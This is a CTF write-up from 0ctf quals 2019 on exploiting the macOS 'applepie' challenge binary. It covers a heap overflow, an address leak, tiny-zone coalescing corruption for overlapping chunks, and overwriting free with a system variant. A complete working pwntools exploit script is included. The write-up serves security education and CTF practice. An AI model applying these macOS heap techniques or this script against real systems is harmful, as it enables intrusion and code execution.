| tags:pwn categories:Writeups series:0ctf quals 2019
0ctf qualifiers 2019 - Apple Pie
Intro
This challenge was released toward the end of the ctf and posed several interesting challenges which had to be overcome for acquiring the flag.
We were presented with a zip archive containing multiple files:
applepie
applepie.sb
libsystem_c.dylib
libsystem_malloc.dylib
README.md
wrapper.sh
The core of the challenge is certainly the wonderful position independent Mach-O 64-bit x86_64 executable named “applepie”. According to the README file, it is supposed to run on macos 10.14.3 (Mojava). The other files are some standard libraries, a sandbox file restricting us to call only ls, cat and sh from the binary (read: after exploitation), and a wrapper script putting it all together.
At this point, it is clear that “apple” in the title does not only refer to a pastry style, but also to a vendor for lifestyle expressing computing machinery. This combined with the category (pwn) woke our excitement and interest: We gotta exploit in an environment unfamiliar to us, in one of the hardest CTFs of the year? We’re in. Totally.
Luckily, we had a (somewhat malfunctioning) device with the desired operating system at hand, preventing a possibly tedious setup phase. However, let’s first fire up the reverse engineer environment of our choice and have a look at the file.
Oh binary, what are thou?
The functionality of the binary is very intuitive, we can manage up to 10 objects that have a style
, shape
, update_time
, and name
. The style
can be picked among the overwhelming choices of dutch
, english
, french
, swedish
, and american
, and there are even also 5 great options for the shape
: circle
, star
, heart
, square
, and triangle
. A first intuition is that these are actually apple pies, but then again, who has ever heard of a star-shaped, american apple pie? Each of these “things” also has a name, which can be up to 1024 characters long. The 16-bit user-specified, unsigned length
and the pointer to the name are saved along with the rest in a 0x28-byte large structure:
00000000 thing struc ; (sizeof=0x28, mappedto_25)
00000000 style dq ?
00000008 shape dq ?
00000010 update_time dq ?
00000018 size dd ?
0000001C db ? ; undefined
0000001D db ? ; undefined
0000001E db ? ; undefined
0000001F db ? ; undefined
00000020 name dq ? ; offset
00000028 thing ends
When adding a “thing” (We refuse to call anything star-shaped a pie!), we first allocate the 0x28 byte “thing” structure, and then an up to 1024 byte large buffer for the name. The pointer to the newly allocated structure is saved in a global array.
Like any great CTF challenge, this challenge also has an update
and delete
function. The delete
function is pretty straightforward; it first calls free()
on the name
pointer, zeroes it out, then calls free()
on the structure pointer, and zeroes it out in the global array. On the other hand, the update
function is much more interesting:
int update()
{
thing *thing; // [rsp+10h] [rbp-10h]
int size; // [rsp+18h] [rbp-8h]
int index; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
index = read_int();
if ( index < 0 || index >= 10 || !slots[index] )
print_error();
thing = slots[index];
thing->style = read_style();
thing->shape = read_shape();
thing->update_time = time(0LL);
printf("Size: ");
size = read_int();
if ( size < 0 || size > thing->size + 0x18 )
print_error();
printf("Name: ");
read_n(thing->name, size);
return puts("Success!");
}
The vulnerability lies in the glaringly obvious heap overflow on the name
buffer; we can write up to 0x18 bytes out of bounds! So we just do straight-forward heap exploitation and win, right?
Errr… no. It’s apple, remember?
This pie is leaking
So let’s first see, what we can corrupt. If we allocate two consecutive things
, we might end up with a memory layout a bit like the following:
[ 0x28: thing_struct 1 ] [ 0xXX: name 1 ] [ 0x28: thing_struct 2 ] [ 0xYY: name ]
Writing out of bounds on the name of the first thing into the struct of the second thing seems like a good idea at the time, especially as there are sizes and pointers in there, but alas, the authors of this challenge in their endless evilness^Wwisdom have fine-tuned the overwrite limit precisely so that we can’t touch the size
or the name
pointer with just 0x18 bytes.
However, the style
and shape
fields are 64-bit indices into tables of string pointers in the data section, and with our out-of-bounds write we can set them arbitrarily. The only constraint we have, when leaking this way, is that we need a pointer to a pointer that we can call printf("%s")
on, at a constant offset to the data section. Investigating the binary, we found two pointers of utmost interest in the got section:
__got:0000000100002018 ; FILE **__stdinp_ptr
__got:0000000100002018 ___stdinp_ptr dq offset ___stdinp ; DATA XREF: start+11↑r
__got:0000000100002020 ; FILE **__stdoutp_ptr
__got:0000000100002020 ___stdoutp_ptr dq offset ___stdoutp ; DATA XREF: start+33↑r
We decided to leak the stdinp via the shape of a partially overwritten victim chunk Y
, as demonstrated below:
# ==== stdinp leak ===
add('X'*n)
add('Y'*n)
add('Z'*n)
pl = fit(
{
0x10: p64(1), # style
0x18: p64(-22,sign='signed'), # shape
0x20: p64(0xdeadbeef), # time
#40: p64(0x40404040) # Can't touch this :(
}, length=n+0x18)
update(0, pl)
layout_test = show(1)
leak = layout_test[1]
leak = u64(leak.ljust(8,'\x00'))
leak_segment_base = leak - 0x41a8
Note the -22
for the shape? Exactly, this is the offset in qwords to __stdinp_ptr
However, just with this leak alone, we are far from a working exploit, so we had to revisit the primitives we have on the heap.
Gaining the white belt in quantum heap-fu
This is about as far as we get without understanding more of the macos heap allocator. While it’s not as extensively documented from an exploitation side as ptmalloc
, there´s a few good and not-so-outdated resources for the macos magazine allocator, so if you haven’t already, these are well worth a read as they also guided our basic understanding for this challenge:
- Tyler Bohan’s (@1blankwall1) SummerCon 2016 talk on OS X Heap Exploitation (youtube, slides)
- Eloi Benoist-Vanderbeken’s (@elvanderb) Sthack 2018 talk titled “Heapple Pie: (slides)
- The actual implementation: https://opensource.apple.com/source/libmalloc/ (yes, it’s open source!)
While giving a full introduction to apple’s heap implementation would exceed the boundaries of this write-up, we try our best to explain the bits and pieces neccessary for understanding our exploit.
Generally speaking, a interesting feature of the macos zone allocator is that it quantizes each zone into a list of “quantums” to store data. As our objects of interest are all smaller than 1008 bytes, the scene of our exploit is the tiny zone, which consists of quantums with Q=16
bytes. This means that our “thing” struct will be put in a 3 Q
-sized chunk on the heap, while we have control over the chunk size for names. Furthermore, we may be able to corrupt meta-data of a free’d chunk with the overflow described above.
However, exploitation via direct corruption of forward and backward pointers like in ptmalloc
is not easily possible with the zone allocator, as the pointers are mangled with an extremely random and completely un-brute-forceable 4-bit heap cookie.
However, with chunks larger than 1 Q
, the zone allocator also saves some plaintext information for the coalescing code-path in the chunk.
A freed 3 Q
chunk looks like this:
.---------.----------.
1 Q | fd_ptr | bk_ptr |
|----.----^----------|
2 Q | fq | |
|----^----------.----|
3 Q | | bq |
*---------------^----*
The fq
and bq
are the number of quanta to skip over when coalescing forward or backward respectively. Coalescing forward can be triggered by freeing a chunk directly before the free chunk, and coalescing backward can be triggered by freeing the chunk directly following. In our case, we can corrupt the fq
field, so we are interested in the forward coalescing case. When coalescing, we can set fq
to a larger number, as long as it aligns with a following, non-free chunk to stop coalescing. This way, we can craft a chunk-in-chunk style attack, where the middle of a chunk we allocate is still under our control. One small caveat though, when coalescing, fd_ptr
and bk_ptr
are checked, but these can be NULL
as long as the 4 bit canary (in the most significant 4 bits) is correct, which it will be in approximately 7% of cases.
Letting the pieces fall in place.
Here’s a picture of us while drawing the final heap layout we want to achieve:
Of particular interest is the following detail excerpt of the above image:
.--------.--------. -\
| style | shape | |
|--------|----.---| |
| time | sz |:::| > X (3Q): struct used for overwriting into leak chunk
|--------|----*---* |
| *name | |
*........* -/
.-----------------. -\
| Name for ^ | > (1Q): Name used for out of bounds write into leak
*-----------------* -/
.--------.--------. -\
| style | shape | |
|--------|----.---| |
| time | sz |:::| > Y (3Q): leak chunk
|--------|----*---* |
| *name | |
*........* -/
.-----------------. -\
| Name for ^ | > (1Q): Name of Y
*-----------------* -/
.--------.--------. -\
| style | shape | |
|--------|----.---| |
| time | sz |:::| > Z (3Q): placeholder
|--------|----*---* |
| *name | |
*........* -/
.-----------------. -\
| Name for ^ | > (1Q): Name of Z
*-----------------* -/
.--------.--------. -\
| style | shape | |
|--------|----.---| |
| time | sz |:::| > A (3Q): used for triggering forward coalesce
|--------|----*---* |
| *name | |
*........* -/
.-----------------. -\
| | |
| | |
| | > (3Q): name of A
| | |
| | |
*-----------------* -/
.--------.--------. -\
| style | shape | |
|--------|----.---| |
| time | sz |:::| > B (3Q): out-of-bounds write target
|--------|----*---* |
| *name | |
*........* -/
.-----------------. -\
| | |
| | |
| | > (3Q): name of B
| | |
| | |
*-----------------* -/
.--------.--------. -\
| style | shape | |
|--------|----.---| |
| time | sz |:::| > C (3Q): future chunk-in-chunk for arbitrary r/w
|--------|----*---* |
| *name | |
*........* -/
.-----------------. -\
| | |
| | |
| | > (3Q): name of C
| | |
| | |
*-----------------* -/
.--------.--------. -\
| style | shape | |
|--------|----.---| |
| time | sz |:::| > D (3Q): coalesce end target
|--------|----*---* |
| *name | |
*........* -/
.-----------------. -\
| | |
| | |
| | > (3Q): name of D
| | |
| | |
*-----------------* -/
.--------.--------. -\
| style | shape | |
|--------|----.---| |
| time | sz |:::| > E (3Q): end placeholder
|--------|----*---* |
| *name | |
*........* -/
.-----------------. -\
| | |
| | |
| | > (3Q): name of E
| | |
| | |
*-----------------* -/
After leaking relative to the data section using X
, Y
, and Z
, we use chunks A
to E
as well as their assorted name
buffers to achieve an arbitrary read/write primitive. First, we free chunks B
and D
(X, Y, Z omitted for clarity):
.--------.--------. -\
| style | shape | |
|--------|----.---| |
| time | sz |:::| > A (3Q): used for triggering forward coalesce
|--------|----*---* |
| *name | |
*........* -/
.-----------------. -\
| | |
| | |
| | > (3Q): name of A
| | |
| | |
*-----------------* -/
.--------.--------. -\
| fd_ptr | bk_ptr | |
|----.---^--------| |
| fq | | | <--- this fq pointer is going to be overwritten
|----* | |
| | |
| | |
| | |
| | |
| | |
| | > (6Q): B freed
| .----| |
| | bq | |
*-----------------* -/
.--------.--------. -\
| style | shape | |
|--------|----.---| |
| time | sz |:::| > C (3Q): future chunk-in-chunk for arbitrary r/w
|--------|----*---* |
| *name | |
*........* -/
.-----------------. -\
| | |
| | |
| | > (3Q): name of C
| | |
| | |
*-----------------* -/
.--------.--------. -\
| fd_ptr | bk_ptr | |
|----.---^--------| |
| fq | | |
|----* | |
| | |
| | |
| | |
| | |
| | |
| | > (6Q): D freed
| .----| |
| | bq | |
*-----------------* -/
.--------.--------. -\
| style | shape | |
|--------|----.---| |
| time | sz |:::| > E (3Q): end placeholder
|--------|----*---* |
| *name | |
*........* -/
.-----------------. -\
| | |
| | |
| | > (3Q): name of E
| | |
| | |
*-----------------* -/
We can then write out of bounds using thing A
, setting the forward coalesce size of free chunk B
to 18 Q
, then trigger a forward coalesce by freeing A
:
.--------.--------. -\
| fd_ptr | bk_ptr | |
|----.---^--------| |
| fq | | |
|----* | |
| | |
| | |
| | |
| | |
| | <--- A freed
| | |
| | |
| | |
|.................| |
| 18 | ^ | <--- overwritten fq of B used by consolidation
|---- | | consolidates through until the end of D
| | | |
| | | |
| | | |
| | | |
| (6Q) | |
| | | |
| | | |
| | | |
| | | |
| v | |
| .--------.--------. -\ |
| | style | shape | | |
| |--------|----.---| | |
| | time | sz |:::| > C (3Q): chunk-in-chunk for arbitrary r/w
| |--------|----*---* | |
| | *name | | |
| *........* -/ |
| .-----------------. -\ |
| | | | |
| | | | |
| | | > (3Q): name of C
| | | | |
| | | | |
| *-----------------* -/ |
| ^ | |
| | | |
| | | |
| | | |
| | | |
| | | |
| (6Q) | |
| | | |
| | | |
| | | > 24Q consolidated "free" chunk
| | .----| |
| v | bq | |
*-----------------* -/
.--------.--------. -\
| style | shape | |
|--------|----.---| |
| time | sz |:::| > E (3Q): end placeholder
|--------|----*---* |
| *name | |
*........* -/
.-----------------. -\
| | |
| | |
| | > (3Q): name of E
| | |
| | |
*-----------------* -/
The next allocation of a thing struct (3Q) and a name that will fit into the remaining 21Q (anything above 9Q should do, as long as there are no fitting holes to be filled in the heap) will result in a name buffer that contains the target structure C
, allowing us to arbitrarily overwrite its name pointer using the update
function on C
. We can leak from this pointer using the show
function and write to it using the update
function. Finally, we can also call free
on an arbitrary pointer by calling delete
on C
- the name
buffer gets freed first.
From theory to practise
We have a strategy to achieve arbitrary r/w by controlling the name-pointer of victim block C. So far, so good. However, as usual, it was not possible to directly build an exploit for us without any means of debugging.
But, as you may remember from the beginning of the post, we are not familiar with the execution environment. This also means, that we are not familiar with the existing tooling for macos exploitation at all, and we needed some time to get something up and running.
GDB on macos isn’t as straightforward as expected - while it should work, several codesigning attempts (this doesn’t work on mojave anmore), taskgated(8)
restarts, reboots to en-/disable system integrity protection and long time figuring out how to add the com.apple.security.cs.debugger
entitlement later, we gave up and left this dumpster fire behind.The debugger of choice on macos is lldb
, the LLVM debugger. At first, it’s extremely awkward to use compared to gdb
, but its command line syntax is surprisingly sane for a debugger. One thing missing is support for something similar to gef
or peda
, but luckily there’s voltron, a python script that hooks into lldb and exposes a socket for external convenience scripts to attach. For example, voltron view mem
displays a “live” hexdump of memory with change tracking, a register view, and so on. It’s extremely hacky, but meh — it works pretty well, and lldb
ships with great python support.
The logical next step to achive is some tooling for introspecting the state of the heap. In the beginning, we tried to use the the much praised macos heap introspection tooling. While lldb
ships with a helper script, lldb.macosx.heap
, it turned out to be impeding our exploit development attempts, as it executes code in the context of the target, which in turn mallocs around on the heap and messes up our heap layout.
There’s also MacHeap
by @1blankwall1, but we never figured out how to make that work (are you starting to see a pattern here?).
So, in the end we needed to fall back to good old manual work of writing one liners to convienently stare at hexdumps.
Some ps
and vmmap
(the macos equivalent to /proc/<pid>/maps
) parsed with grep
and cut
later, we have a rather long oneliner that opens up the tiny allocation zone in voltron’s memory view.
Equipped with this rudimentary tooling, we could finally move on to exploitation. However, we had several issues with our strategy, which could be sorted out thanks to our “superior” debugging environment.
Firstly, as it turns out, the heap layout is not neccesarily deterministic, and two subsequent runs could have a different layout: In one run, everything was aligned as described above, while in another run the blocks X, Y, and Z where used to fill some holes in the heap. We believe this is due to initialization code migrating across CPU cores (the magazine allocator maintains one magazine per core) before mag_set_thread_index()
is called to “pin” the allocator to a specific core - if you want to know more, go ahead and dive into the libmalloc source code. To accout for this minor … inconvenience … we check directly in the beginning if our overwrite for the leak succeed - as the leak required the heap layout to be linear, a working leak was a good indication of a linear heap layout:
assert(layout_test[0] == 'English')
Having all issues out of the way, we could successfully implement our strategy and overwrite the name-pointer of the victim chunk C with the beloved value of 0xdeadbeef
.
At this point, the applepie was speaking SEGFAULT to us, but the magical journey into its internals has not ended just yet.
From arbitrary r/w to shell
To sum up, all we did until now gave as a repeatable arbitrary read-write primitive by modifying and showing the name of a thing. Hence, the last step, as usual, is to leverage this into a fullblown shell or at least in a $ cat flag
equivalent.
However, the executable is position independent (it’s apple pie, right), and so far, we only have a leak for the location of stdinp/stdoutp. ASLR on macos is quite funny, as the base address for everything except libraries are randomized per execution - the base address for libraries, on the other hand, is randomized per device boot, leading to some interesting side effects discussed in a bit.
With our debugger setup, we looked around the known location of the stdinp-struct to search for something which looks like the binary base. Indeed, we could find something which looked like a pointer to our binary close by, which we could confirm to be also present at the same location on the remote side. However, sometimes this pointer contained characters messing up the output of the program, for instance nullbytes. As a result, we added some quick and dirty step in our exploit code to verify that the binary base of the current run is usable for us.
maybe_bin_base_off = 0x100000000
bin_base_tmp = more_leak[3]
bin_base = u64('\x00'+more_leak[3].ljust(7,'\x00'))
if bin_base < maybe_bin_base_off:
bin_base += maybe_bin_base_off
assert( bin_base != maybe_bin_base_off)
Not beautiful, but it does the job.
Now that we have the base of the binary, we could easily leak a pointer to libc from its la_symbol_ptr
-segment, which is the Mach-O counterpart of an ELF’s got.plt
.
As a nice surprise, the la_symbol_ptr
segment is also writeable, so we can use our arbitrary r/w to replace a function there with a libc-function of our choice at this point.
From here, we were confident that the final step is straight-forward: overwrite the pointer to free()
with the address of _system()
, and then “free” a chunk with the content /bin/sh
. Easy, right?
Except … it wasn’t. We were 44 hours into the ctf and it was 3am local time, and our exploit was working locally, but not remote, and we couldn’t explain why. Everything seemed to work, except the call to _system()
.
To make everything worse, firing our exploit against remote took a while, as we needed everytime a lot of tries to have a working setup for the exploit; we needed a good heap layout, a successfully guessed cookie, and a nice binary base. Should even one of them be wrong, we needed to restart the exploit from the beginning (yes, that is right, for each cookie bruteforce attempt we needed one connection).
So, what do extremely tired and tasteless humans do in situations like this? You guessed it right, panic and waste time discussing the validity of previous steps. (“Do we really need to bruteforce the cookie?”)
Luckily, at some point when looking at the differences between a successful run of the exploit on the local machine, and an almost successful run on the remote machine, we could spot the problem, thanks to our superior logging output of the script! The address of _system()
on the remote end contained the byte 0x0a
. Experienced players will already see: this is a newline, and depending on the used function for getting user input, can terminate the input. This was exactly what is happening to us - and, thanks to the per-boot library ASLR, for every attempt.
At this point, we asked the organizers if they could reboot their machine - and the refusal to do so confirmed one of our worst fears: this is either a very convenient accident or fully intentional and the organizers spent hours rebooting their machine until the libsystem_c
base fell so that _system
contained a newline.
With only a little bit less than 3 hours on the clock, we had to figure out an alternative exploit strategy.
Luckily, we didn’t need too long; Looking again into the libc-binary, we could identify that it exports a second system-like function: _system$NOCANCEL
. A quick test on our local machine showed that it works just as the normal _system()
, so we changed some offsets, fired the exploit against remote and, according to our memories …
[...]
[*] Writing system
[*] Writing binsh string
[+] trigger
[+] shell
[*] Switching to interactive mode
$ cat /Users/applepie/flag
flag{Are_you_hungry?Ahaaaaaaaa!}
Putting it all together, this is our full exploit (it’s a little bit cleaned with better logging than shown in the snippets above):
from pwn import *
#from IPython import embed as e
I = '192.168.1.33'
P = 8337
I = '111.186.63.147'
P = 6666
q = 16
s = remote(I, P )
def clr():
return
s.recvuntil('Choice:')
def add(data, size=None, style=1,shape=1):
if size == None:
size = len(data)
assert(size < 1024)
clr()
s.send('1\n')
# style
clr()
s.send('%d\n' % style)
# shape
clr()
s.send('%d\n' % shape)
# our guy
#s.recvuntil('Size:')
s.send('%d\n' % size)
s.recvuntil('Name:')
s.send(data+'\n')
def show(idx):
clr()
s.send('2\n')
#s.recvuntil('Index')
s.send('%d\n' % idx)
s.recvuntil('Style: ')
style = s.recvline(keepends=False)
s.recvuntil('Shape: ')
shape = s.recvline(keepends=False)
s.recvuntil('Update Time: ')
uptime = s.recvline(keepends=False)
s.recvuntil('Name: ')
name = s.recvline(keepends=False)
return (style, shape, uptime, name)
def update(idx, data, size=None, style=1, shape=1):
if size == None:
size = len(data)
clr()
s.send('3\n')
s.recvuntil('Index')
s.send('%d\n' % idx)
# style
clr()
s.send('%d\n' % style)
# shape
clr()
s.send('%d\n' % shape)
# our guy
s.recvuntil('Size:')
s.send('%d\n' % size)
s.recvuntil('Name:')
s.send(data+'\n')
def dl(idx):
clr()
s.send('4\n')
s.send('%d\n' % idx)
def main():
n = q
off = 3
# ==== stdinp leak ===
add('X'*n)
add('Y'*n)
add('Z'*n)
pl = fit(
{
0x10: p64(1), # style
0x18: p64(-22,sign='signed'), # shape
0x20: p64(0xdeadbeef), # time
#40: p64(0x40404040) # Can't touch this :(
}, length=n+0x18)
update(0, pl)
layout_test = show(1)
# ===== sanity check ====
if layout_test[0] != 'English':
log.error("heap layout is fucked")
return
leak = layout_test[1]
leak = u64(leak.ljust(8,'\x00'))
leak_segment_base = leak - 0x41a8
bin_leak_addr = leak_segment_base + 0x3061
log.success( "leak @ %x " % leak)
log.success( "leak_base @ %x " % leak_segment_base)
log.success( "ptr to bin @ %x " % bin_leak_addr)
n = q * 3
add('A'*n)
add('B'*n)
add('C'*n) # victim chunk
add('D'*n)
add('E'*n)
dl(off + 1)
dl(off + 3)
# --- here we will need to bruteforce on rem ---
#cookie = int(raw_input("Cookie pls: "), 16)
cookie = 0xa0
pl = fit({
0: p64(0xdeadbeefdeadbeef),
n+7 : p8(cookie),
n+15: p8(cookie),
n+16: p8(3 * 6)
}, length=n+16+2, filler='\x00')
update(off+0, pl)
dl(off + 0) # coascelalteerachilada
# leak bin base
pl = fit({ 'laabmaab': p64(1),
'naaboaab': p64(2),
'taabuaab': p64(bin_leak_addr),
}, length=q*15)
add(pl)
log.success("Cookie was ok.")
more_leak = show(off+2)
maybe_bin_base_off = 0x100000000
bin_base_tmp = more_leak[3]
bin_base = u64('\x00'+more_leak[3].ljust(7,'\x00')) # +
if bin_base < maybe_bin_base_off:
bin_base += maybe_bin_base_off
if bin_base == maybe_bin_base_off:
log.error("fucking nullbytes")
return
log.success( "bin_base @ %x " % bin_base)
free_offset = 0x2050
atoi_offset = 0x2040
system_nocancel_offset = 0x638ed
# === leak libc-text-ptr (via atoi@la_symbol_ptr) ===
pl = fit({ 'laabmaab': p64(1),
'naaboaab': p64(2),
'taabuaab': p64(bin_base + atoi_offset),
}, length=q*15)
update(off+0, pl)
more_leak = show(off+2)
atoi_addr = u64(more_leak[3].ljust(8,'\x00'))
libc_base = atoi_addr - 0x5CFD2
system_nocancel = libc_base + system_nocancel_offset
log.success("atoi addr @ %x" % atoi_addr)
log.success("libc base @ %x" % libc_base)
log.success("system @ %x" % system)
### overwrite free
pl = fit({ 'laabmaab': p64(1),
'naaboaab': p64(2),
'taabuaab': p64(bin_base + free_offset),
}, length=q*15)
update(off+0, pl)
log.info("Writing system")
update(off+2, p64(system_nocancel)+'A')
log.info("Writing binsh string")
update(off+0, '/bin/shA')
log.success("trigger")
dl(off+0)
s.recvuntil("Choice: Index: ")
log.success("shell")
s.interactive()
if __name__ == '__main__':
main()
Final Notes and Takeaways
Phew. This challenge was insanely fun. There are a few things we want to note down as takeaway from solving it:
- Don’t be afraid of strange, weird, or new execution environments. In the worst case, you’ll learn about them. ;)
- Try to draw/visualize the heap when exploiting it. It helps.
- Always add status information, such as assumed addresses, in your exploit script. Although it costs minimally more time, it can make the difference between flag and no-flag.
- Don’t panic. Not even 2h before the end of the CTF. Something we still have to learn as well.
~Writeup, exploit and tasteless utilization of memes by nsr & plonk ~